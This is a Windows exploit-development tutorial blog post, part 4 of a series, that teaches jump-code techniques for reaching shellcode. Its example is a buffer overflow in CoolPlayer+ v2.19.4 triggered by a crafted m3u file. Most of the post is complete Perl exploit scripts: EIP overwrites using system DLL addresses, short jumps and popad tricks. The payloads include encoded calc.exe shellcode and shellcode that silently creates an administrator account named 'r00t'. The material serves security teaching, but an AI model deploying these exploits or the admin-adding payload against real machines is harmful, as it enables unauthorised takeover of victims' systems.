Google

Windows Exploit Development – Part 4: Locating Shellcode With Jumps

Written on:December 29, 2013
Comments are closed

Overview

In Parts 2 and 3, we built and improved upon an exploit for ASX To MP3 converter. Even though it had it’s flaws, as far as exploits go, it was pretty straightforward — direct EIP overwrite with a jump directly to a register that pointed to our shellcode. Things aren’t always that easy. Quite often you have to do a bit more work to get the application to execute to your shellcode. In this installment of the series we’ll examine how to use jump code in your exploits. Specifically, we’ll take a look at how to manipulate the registers and the stack and use conditional/unconditional jumps to construct custom jump code in order to successfully reach and execute your shellcode.

Jumping to Shellcode

In our first exploit example, we lucked out because we had a register (EBX) pointing directly to an uninterrupted portion of our shellcode which means we only needed a single call/jmp instruction to execute it. What happens if a register only points a relatively small portion of our buffer with the shellcode located elsewhere? Or, what if the register point close to, but not exactly at our buffer? Or, what if no register points to our shellcode but we see an address on the stack that does. In these cases, we have several options other than the standard call/jmp instructions we’ve used so far. When it comes to jump code, I like to think of the available options in the context of:

  • Manipulating the Registers
    • By adding to/subtracting from a register & jumping to the modified address (add/sub [reg] + jmp)
    • By finding an instruction that jumps to an offset of a register (jmp reg + offset)
  • Manipulating the stack
    • By pushing an address of our choosing to the stack and issuing a return (push + ret)
    • By popping a series of addresses from the stack and issuing a return (pop + ret or popad + ret)
  • Using Unconditional and Conditional Jumps to hop to the shellcode

Let’s take a closer look…

Manipulating the Registers

add [reg] + jmp

Even when you luck out and a register points directly to a portion of your buffer, it may not be to a location that allows for immediate execution of your shellcode. However, you may be able increment/decrement the address in the register and then force the application to jump to it. To illustrate this technique, I’ll walk through another m3u-based exploit, this time in CoolPlayer+ v2.19.4 (latest version at the time of this writing). You can download this app as well as a published version of my exploit from Exploit-DB: http://www.exploit-db.com/exploits/29613/. Install the application in C:\ so you can follow along with the rest of this tutorial. There are two valuable pieces of information that in my haste, I mistakenly left out of my published exploit for CoolPlayer+. First, the exploit does in fact depend upon the location of the resulting m3u file, just like in our previous ASX To MP3 player example. Second, in order for the exploit to work, the CoolPlayer+ executable must be run from the directory in which it is installed. That means if you want to debug this exploit (which we will) you must launch CoolPlayer+ from outside of Immunity Debugger for the first time (double-click the .exe located in C:\CoolPlayer+Portable\) and then attach to the process within Immunity. After that initial run, you can simply use Ctrl+F2 to restart the application within the debugger. Once you’ve installed the application, create an an m3u file containing only a Metasploit pattern. You can use either of the following options:

  • Kali: /usr/share/metasploit-framework/tools/pattern_create.rb 10000 > msfpattern.m3u
  • Mona: !mona pc 10000 (copy the resulting output into an m3u file).

We’re going to improve upon my published exploit so let’s start from scratch. First launch CoolPlayer+ and attach Immunity to the running process.

win_exploit_3_10

Next, place the m3u file containing the Metasploit pattern in C:\ and open it with CoolPlayer+, at which point the application should crash and you should see something similar to the following in Immunity:

win_exploit_3_11

Notice how both EDX and EBX point to the beginning of the Metasploit pattern. ESP also points to a portion of the pattern, but not the beginning. Let’s use mona to determine the offsets:

win_exploit_3_12

Mona tells us the EIP overwrite occurs at offset 260 (remember from Part 2 that this is my customized version of mona so you won’t see the other offsets listed). It also confirms that both EBX and EDX point to the beginning of our Metasploit pattern buffer, but EBX contains a much longer, uninterrupted portion (10,000 bytes vs. 512 bytes). ESP points to a considerably smaller portion of the buffer. In fact, if you view ESP in the dump window, you can see exactly where it gets interrupted 248 bytes in.

win_exploit_3_13

Based on this information, we’ll want to use EBX as our target register. Let’s begin to construct our exploit by verifying successful control over EIP.

win_exploit_3_14

Place the generated m3u file in C:\, relaunch CoolPlayer+ in Immunity (Ctrl+F2) and open the the m3u file.

win_exploit_3_15

Now that we’ve verified control over EIP, we can look for a jump or call EBX instruction so we can redirect to our shellcode. Once again, we can do this using mona.

!mona find -type instr -s "call ebx"

If you refer to the resulting find.txt file created by mona, you’ll see that there is only one application module with a viable instruction. Unfortunately, all of the associated addresses contain null bytes. Repeating the search for “jmp ebx” yields the same results so we’re forced to use an OS module. I’ll choose an address from kernel32.dll: 0x7c810395. We now have our “call ebx” address but EBX points to the beginning of our buffer, not to our shellcode. Remember, since this is a direct EIP overwrite, our exploit buffer is going to be constructed similar to the following: JUNK (offset to EIP) + EIP + NOPS + SHELLCODE + FILL. That means if we leave it as is, “call ebx” will jump back to the beginning of our buffer into $junk and not directly to our shellcode. For scenarios like this where the register points to the beginning of the buffer, the ideal solution is to simply move the SHELLCODE portion to the beginning, before the EIP overwrite. The problem here is our offset to EIP is only 260 characters. Granted, the calc.exe shellcode we’ve been using is less than 260 characters but what happens if you want to do more than just open up the calculator? Instead of limiting ourselves to a small space for shellcode, we can instead jump to the beginning of our buffer using our “CALL EBX” instruction and then use another custom jump code sequence to hop over our EIP overwrite and into our NOPS and shellcode. This custom jump code will actually manipulate the EBX register by adding the desired number of bytes to its value and then jump directly to that updated address. Conceptually, the exploit buffer will look like this: win_exploit_3_16

Let’s update our exploit script with the CALL EBX instruction and then place some interrupts at the very beginning of our buffer to confirm we can successfully reach our custom jump code.

win_exploit_3_17

Place the m3u file at C:\ and open in CoolPlayer+:

win_exploit_3_18

We’ve successfully redirected to the beginning of our buffer. Now we need to start the buffer with some jump code. Our jump code is going to do the following: add X to EBX and then jump to the adjusted EBX where X = number of bytes we want to jump. How much should we add to EBX? We need to account for the offset, which is 260 bytes and EIP which is 4 bytes. We’ll also want to preface our shellcode with some NOPS and ideally our jumpcode will land somewhere in this NOP sled. Since we have plenty of space for shellcode after our EIP overwrite, lets preface it with 50 NOPS. Taking into account the four bytes used to overwrite EIP, our NOP sled will occupy bytes 265 thru 315 of our buffer. Therefore, a custom jump of 300 should land us comfortably within this NOP sled and flow nicely to the shellcode that follows. So, what does this custom jump code look like? For that we can turn to another handy Metasploit tool called metasm. In Kali, you can get to it as follows:

/usr/share/metasploit-framework/tools/metasm_shell.rb

This will spawn a metasm shell, where you can enter Assembly instructions and it will return the associated opcode for your shellcode. Since we want to add 300 to EBX, lets enter the corresponding Assembly command in metasm and see the result:

metasm > add ebx, 300
"\x81\xc3\x2c\x01\x00\x00"

The problem with the resulting opcode is it contains NULL bytes. To avoid this, let’s try a smaller increment of 100:

metasm > add ebx, 100
"\x83\xc3\x64"

Perfect, no null bytes. In order to increment EBX by 300, we simply need to repeat this instruction 3 times. After we increment EBX by 300, we need to jump to it. Using metasm, get the opcode for jmp EBX as follows:

 jmp ebx
"\xff\xe3"

Our jump code is going to look as follows:

my $jmp = "\x83\xc3\x64" x 3; # add 300 to ebx
$jmp = $jmp . "\xff\xe3"; # jmp ebx

Let’s update our exploit script to verify the custom jump code successfully redirects program execution to our shellcode.

win_exploit_19

Referring to the above screenshot, you can see I’ve added the jump code. I’ve also modified $junk so that it accounts for the length of the $jmp and we end up with the proper offset (260) to EIP. Instead of actual NOPs, I used Interrupts so we can see exactly where our custom jump code lands us. If all goes as expected, we should land 300 bytes beyond our jump code within our INT instructions. Let’s see…

win_exploit_20

Perfect. We landed exactly where we expected. Now we could have made the NOP buffer much smaller and landed closer to EIP, but since we have room to play with, there’s no reason to be so exact. Let’s update our exploit script again, replacing the INTs with actual NOPs and inserting some shell code (calc.exe).

#!/usr/bin/perl

my $buffsize = 10000; # set consistent buffer size

my $jmp = "\x83\xc3\x64" x 3; # add 300 to ebx which will jump beyond eip overwrite and into nops/shellcode
$jmp = $jmp . "\xff\xe3"; # jmp ebx
my $junk = "\x41" x (260 - length($jmp)); # fill remainder of start of buffer to eip overwrite at offset 260
my $eip = pack('V',0x7c810395); # call ebx [kernel32.dll] which points to start of buffer and our jump code
# no usable application module found
my $nops = "\xcc" x 50;

# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";

my $sploit = $jmp.$junk.$eip.$nops.$shell; # build sploit portion of buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer for size consistency
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = "coolplayer.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";

Place the resulting m3u file in C:\ and give it a try…

asx2mp3_calc

Success!!  However, this exploit is still limited in that it only works when the m3u file is opened from C:\. Here’s a little exercise for you — see if you can improve it by making it work from multiple save locations (Desktop, My Music, etc) just like we did for the ASX To MP3 exploit. One possible solution is posted below.

CoolPlayer+ Portable v2.19.4 BOF Exploit
coolplayer_exploit_demo.pl
4.3 KiB
2201 Downloads
Details

sub [reg] + jmp

Instead of incrementing the value of a register, you might face a situation where you would rather decrement its value. Say for example, at the time of crash, EBX still points to the beginning of our buffer but only provides < 100 bytes of uninterrupted space — not enough space to host shellcode but more than enough room for some basic jumpcode. That means we can use EBX to redirect to the beginning of our buffer and execute some jump code that targets another register — in this case ESP. ESP points to a portion of our buffer (about 280 bytes in total from the beginning of our buffer). The problem is, at the time of crash and EIP overwrite, ESP points to the middle of the buffer rather than the beginning and without adjusting ESP, we don’t have enough room from that point forward to host our shellcode. To solve this problem, we can rearrange our buffer to place the shellcode at the beginning, decrement ESP by the appropriate value and jump to ESP to execute the shellcode. Let’s re-visit our CoolPlayer+ exploit and make the necessary adjustments. Here’s a look at the stack at the time of crash (using msf pattern) so you can visualize the space we have to work with for our new buffer.

win_exploit_3_32

We need to decrement ESP by about 240 bytes. Once again, use metasm to get the corresponding opcode:

metasm > sub esp, 100
"\x83\xec\x64"
metasm > sub esp, 40
"\x83\xec\x28"
metasm > jmp esp
"\xff\xe4"

Here’s the updated Perl script:

win_exploit_3_33

Note the following changes:

  • Jump code now decrements ESP by 240
  • Shellcode moved to beginning of buffer (after jump code)
  • Junk portion of buffer no longer required (NOPs fill any remaining space to offset of 260)

You can see the stack now at the time of execution (call EBX replaced by \xcc INT instructions for demo purposes).

win_exploit_3_34.png

This space is just enough for our calc shellcode to execute nicely.

asx2mp3_calc

jmp [reg + offset]

Instead of directly incrementing the register with custom jump code, you can let the application do the work for you by finding an existing instruction that jumps to the desired register plus an offset of its value. I’ll briefly demo this technique using our CoolPlayer exploit as an example. Let’s say that EDX was the one and only register that came anywhere close to pointing to our buffer, but unfortunately it points to a location about 50 characters before it (not the case here, but we’ll pretend for this example). In order for us to use EDX, we would therefore need to increment it at least 50 bytes to reach our injected code. We can use a jmp[edx + X] instruction (where X represents a number greater than 50) to accomplish this. For example, let’s search for a jmp [edx + 64] instruction.

win_exploit_3_35

win_exploit_3_37

Here is a screenshot of a few of the results from OS modules.

win_exploit_3_36

You could then use one of these addresses as the new EIP overwrite. Of course, you’re not limited to a 64 byte increment — you may need more or less. You’re only limited by the usable instructions you can find in the available DLLs. Unfortunately, incrementing EDX in this case results in an access violation so I couldn’t find a usable address for this particular exploit (though I only tried a couple). Regardless, you should keep this in mind as a possible method for jumping to your shellcode in future exploits.

Manipulating the Stack

push [reg] + ret

The first method of manipulating the stack is the simplest to understand since it’s the same concept as issuing a jump or call instruction. Let’s revisit the original version of our exploit that used CALL EBX for the EIP overwrite but let’s assume that we could not find any usable JMP or CALL EBX instructions. Alternatively we could search for a PUSH EBX + RET set of instructions. This would effectively push EBX to the top of the stack and then immediately jump to that address. This time you’ll search for “All sequences in all modules” to find a usable push ebx + ret instruction.

win_exploit_3_38

win_exploit_3_39

This returns a few usable results, including one from shell32.dll which we’ll use for this example.

win_exploit_3_40

If you want to verify that this address does in fact point to a push ebx + ret instruction, simply double click it and you’ll be taken to that address within the Assembly instruction window.

win_exploit_3_41

The only thing you’ll have to update from the original exploit script is the value of $eip.

win_exploit_3_42

Opening the updated m3u file in CoolPlayer+…

asx2mp3_calc

pop + ret

Sometimes you aren’t lucky enough to have a register that points directly to any portion of your exploit buffer, but you may be able to manipulate the stack to redirect execution flow to your desired location if:

  1. There is an address near the top of the stack that points to your buffer or
  2. ESP + N points to your buffer (where N is the number of bytes past current ESP (4, 8, 12, etc)).

Let’s once again use CoolPlayer+ as an example. To simulate this scenario I’ve created the following exploit script:

win_exploit_3_22

When you open the resulting m3u file in CoolPlayer+ (from the root of C:\), you should see the following in Immunity:

win_exploit_3_28

What I’ve done is simulated junk characters with the letter ‘J’ to illustrate that none of our registers point to anything immediately useful. Take a look at ESP and the current stack. You can see that the first three entries on the stack contain junk but immediately following is an address of interest that points to our buffer (7C86467B) — it’s actually a JMP ESP instruction that I strategically placed at this location to simulate our desired return value. Remember there are two possible scenarios here: 1) either the address already happens to exist on the stack and you need to redirect the flow to it or 2) ESP + X points to your buffer in which case you can strategically place an address within your buffer so when ESP + X is called, it will redirect to the address of your choosing. If we can instruct the program to issue a pop pop pop ret, it will pop the first three addresses off of the stack and execute the instructions found at the very next address, redirecting the flow to ESP which currently points directly at our NOPs/shellcode. You can use Immunity to find this pop pop pop ret instruction. To do so, relaunch CoolPlayer+ (Ctrl+F2), hit F9 to run the program, right-click in the populated CPU Instruction window and click “Search For … All sequences in all modules”.

win_exploit_3_24

In the resulting text box, you’ll need to enter the pop pop pop ret instruction sequence you want to find. In order to do this you need to know which registers to use. When you’re only looking for a single pop ret, it’s easy (pop eax ret or pop ebx ret, etc) but finding a usable series of three pop instructions can involve a bit of guesswork. Certain sequences tend to be used more than others, such as pop ebi, pop esi, pop ebx, but it’s all dependent upon the loaded modules.

win_exploit_3_25

A portion of the results follow:

win_exploit_3_26

I’ve chosen the first ntdll address (0x7C924961) which I’ll use as the EIP overwrite. If you double-click that address you can verify that it does in fact point to our desired pop pop pop ret sequence.

win_exploit_3_27

Let’s update the script, replacing our current EIP overwrite of BBBB with this address and rerun the exploit to verify we reach our shellcode placeholder.

win_exploit_3_29

Nice. As you can see, we’ve successfully used the pop pop pop ret sequence to reach our shellcode. Now we just need to replace our INT instructions with some actual shellcode and make sure it executes. Because I used ESP in this example we are limited in the amount of space we have for shellcode so instead of using the calc.exe shellcode we have been using thus far, I’m going to use something a bit smaller found here: http://www.exploit-db.com/exploits/15202/. Instead of launching the calculator, this shellcode adds an administrator user. I’ve modified the original shellcode to change the username and password to r00t and pwnd respectively. Here is the final version of this demo script:

#!/usr/bin/perl
###########################################################################################
# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo
# Date: 12-24-2013
# Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: CoolPlayer+ Portable v2.19.4
# Software Link: http://portableapps.com/apps/music_video/coolplayerp_portable
# Tested On: Windows XP SP3
# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/
# Details: Demo of jumping to shellcode via pop/ret sequence to stack address
###########################################################################################

my $buffsize = 10000; # set consistent buffer size
my $junk = "\x4A" x 260; # simulate unusable address containing junk with 'J'
my $eip = pack('V',0x7C924961); # EIP overwrite w/ pop edi pop esi pop ebp from ntdll
my $junk2 = "\x4A" x 12; # simulate unusable address containing junk with 'J'
my $usable_address = pack('V',0x7C86467B); # jmp esp kernel32.dll
my $nops = "\x90" x 20;

# XP SP3 add admin user shellcode -- 107 bytes
# mod'd from original by Anastasios Monachos http://www.exploit-db.com/exploits/15202/
my $shell = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23" .
"\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca" .
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63" .
"\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20" .
"\x6e\x65\x74\x20\x75\x73\x65\x72\x20" .
"\x72\x30\x30\x74\x20" . # user: r00t
"\x70\x77\x6e\x64" . # pass: pwnd
"\x20\x2f\x61\x64\x64\x20\x26\x26\x20\x6e" .
"\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72" .
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69" .
"\x73\x74\x72\x61\x74\x6f\x72\x73\x20".
"\x72\x30\x30\x74" .
"\x20\x2f\x61\x64\x64\x00";

my $sploit = $jmp.$junk.$eip.$junk2.$usable_address.$nops.$shell; # build sploit portion of buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = "coolplayer.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";

Let’s execute the resulting m3u file (from C:\) and verify the exploit worked.

win_exploit_3_31

Success!! A quick word of caution when choosing shellcode — never run untrusted shellcode in a production environment! That’s the equivalent to blindly opening an executable from an untrusted source. We’ve still got a ways to go in this series before we talk about constructing custom shellcode so for now, I recommend using Metasploit to generate your shellcode or, if you’re comfortable, using shellcode found on Exploit-DB.

popad

The popad instruction simply pops the first 8 double words (4 bytes) off of the stack and into the 8 general purpose registers in the following order: EDI, ESI, EBP, ESP, EDX, ECX and EAX (with ESP being discarded). You can use the popad instruction in much the same way you use pop ret. Let’s say for example, at the time of application crash, you have control over ESP + 32. Finding a pop pop pop … pop ret sequence to get there is not likely. Instead you can overwrite EIP with a pointer to a popad + ret instruction, which will pop the first 32 bytes (8 dwords) off the stack and execute the next address on the top of the stack. To do so, we need to find an address pointing to the popad + ret sequence.

win_exploit_3_44

This returns several possible OS module addresses — you may find that some will not execute due to access violations. I found at least one that worked from ntdll (0x7C93121B).

win_exploit_3_43

In the following script I replaced EIP with this address. Just for demo purposes, I’ve also modified the buffer to include a value for each register to illustrate the order in which the registers are popped during a popad. Note that I made ESP + 32 non-executable INT instructions to pause execution and view the current state of the registers and stack.

win_exploit_3_46

Here are the resulting registers and stack.

win_exploit_3_45

As you can see, the registers are populated from the bottom up starting with EDI (and discarding ESP). Now, if we replace the INT instructions in $esp with a jmp esp or call esp instruction address, we can continue execution of the shellcode that follows. Due to the limited space we are allotted at ESP, I’ve once again chosen a smaller shellcode example, this time a simple message box to prove successful exploit.

#!/usr/bin/perl
###########################################################################################
# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo
# Date: 12-24-2013
# Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: CoolPlayer+ Portable v2.19.4
# Software Link: http://portableapps.com/apps/music_video/coolplayerp_portable
# Tested On: Windows XP SP3
# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/
# Details: Demo of jumping to shellcode via pop/ret sequence to stack address
###########################################################################################

my $buffsize = 10000; # set consistent buffer size
my $junk = "\x41" x 260; # offset to EIP
my $eip = pack('V',0x7C93121B); # EIP overwrite w/ popad ret (ntdll)
my $regs = "\x42" x 32; # account for registers populated by popad
my $esp = pack('V',0x7C86467B); # jmp esp kernel32.dll
my $nops = "\x90" x 20;

# modified messagebox shellcode from Giuseppe D'Amore
# http://www.exploit-db.com/exploits/28996/
my $shell = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" .
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" .
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" .
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" .
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" .
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4f\x46" .
"\x21\x01\x68\x61\x64\x20\x42\x68\x20\x50\x6f\x70\x89\xe1\xfe" .
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

my $sploit = $junk.$eip.$regs.$esp.$nops.$shell; # build sploit portion of buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = "coolplayer.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";

And running the resulting m3u file…

win_exploit_3_48

Instead of using an EIP overwrite (or other instruction address) you can also incorporate popads directly into your buffer shellcode to use as jump code and accomplish the same thing. The opcode for a popad instruction is \x61. Here, I’ve modified the script to do just that.

win_exploit_3_50

Note the jump code ($jmp) that first executes the popad and then jumps to esp — equivalent to popad + ret. Since this particular demo exploit overwrites much of the stack with our buffer, I also had to include a variable $reg, which contains the 28 bytes of data that will be written to the registers by the popad (4 bytes for ESP are discarded). This version is essentially the same as the popad + ret set of instructions we called in our previous example and as such, it yields the same result:

win_exploit_3_48

Near/Short and Conditional Jumps

By incorporating unconditional and conditional jumps in our exploit, we can hop to different sections of our buffer to reach our shellcode. A near jump is a jump to a CPU instruction that is located within the current code segment. A short jump is a type of near jump that is limited in range from -128 to + 127 (from current EIP). To execute an unconditional short jump you simply use the opcode \xeb\xXX where XX is the number of bytes to jump. Positive (forward) short jumps have possible hex values for XX of 00 to 7F and negative (backward) short jumps from 80 to FF. In other words, a forward jump of 20 bytes is \xeb\x14 and a backward jump of 20 bytes is \xeb\xea. The forward jump is easy to understand: 14 hex = 20 decimal. But what about the backward jump — EA hex = 234 decimal. How is that right? For a backward jump you have to do a bit of simple math. Here’s how I got to \xea… First, take your desired backward jump length and add 2. Why? Because the byte count of a jump always begins at the byte after the jump.  Since this is a backwards jump, it wastes 2 extra bytes jumping back past itself. So if we want to jump backwards 20 bytes, we should really jump 22. Now do the following:

Convert 22 to binary: 0001 0110
Subtract 1 0001 0101
Invert 1110 1010 = 0xEA

If you want to read a bit more about jumps and the 2’s complement math behind calculating negative/backward jumps, check out this page. Let’s try out a few short jumps. To do so, we’ll update our original code, replacing the add ebx jump code with a forward short jump. Note in the below code that I changed the $junk portion of the buffer to all NOPs and placed the jump code after $junk. Since EBX points to the beginning of our shellcode, when we execute the CALL EBX instruction ($eip), it will land us in the NOPs which will slide to the short jump, hop over EIP and right into our NOPs/shellcode.

Here’s a visual:

win_exploit_3_51

Here’s the updated code:

#!/usr/bin/perl
my $buffsize = 10000; # set consistent buffer size
my $jmp = "\xeb\x4"; # 4 bytes short jump to hop over EIP and into nops/shellcode
my $junk = "\x90" x (260 - length($jmp)); # nops to slide into $jmp; offset to eip overwrite at 260
my $eip = pack('V',0x7c810395); # call ebx [kernel32.dll] which points to start of buffer and our jump code
# no usable application module found
my $nops = "\x90" x 50;

# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";

my $sploit = $junk.$jmp.$eip.$nops.$shell; # build sploit portion of buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer for size consistency
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = "coolplayer.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";

In the event that your buffer is fragmented by the application, you can use multiple short jumps to hop to your shellcode. In this scenario, our buffer is fragmented and we need to jump over the garbage characters (represented by \xcc) using multiple short jumps. Here is what it looks like on the stack:

win_exploit_3_52

You can see where I’ve inserted two short jumps. Just like in the last example, when EIP redirects flow back to the beginning of our buffer, the NOPs will slide to the first short jump. This time, the short jump is 50 bytes in order to jump over both EIP and the garbage characters that follow. This jump should land at the next short jump (preceded by a few NOPs) which will then hop 100 bytes over the next set of garbage characters and into our NOPs/shellcode. Here’s the code:

#!/usr/bin/perl

my $buffsize = 10000; # set consistent buffer size

my $jmp1 = "\xeb\x32"; # 50 byte short jump to hop over EIP and garbage and into next short jump
my $junk = "\x90" x (260 - length($jmp1)); # nops to slide into $jmp; offset to eip overwrite at 260
my $eip = pack('V',0x7c810395); # call ebx [kernel32.dll] which points to start of buffer and our jump code
my $garbage1 = "\xcc" x 45;
my $jmp2 = "\x90\x90\x90\x90\x90\x90\xeb\x64"; # 100 byte short jump over garbage 2 and into NOPs/shellcode
my $garbage2 = "\xcc" x 97;
my $nops = "\x90" x 50;

# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";

my $sploit = $junk.$jmp1.$eip.$garbage1.$jmp2.$garbage2.$nops.$shell; # build sploit portion of buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer for size consistency
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = "coolplayer.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
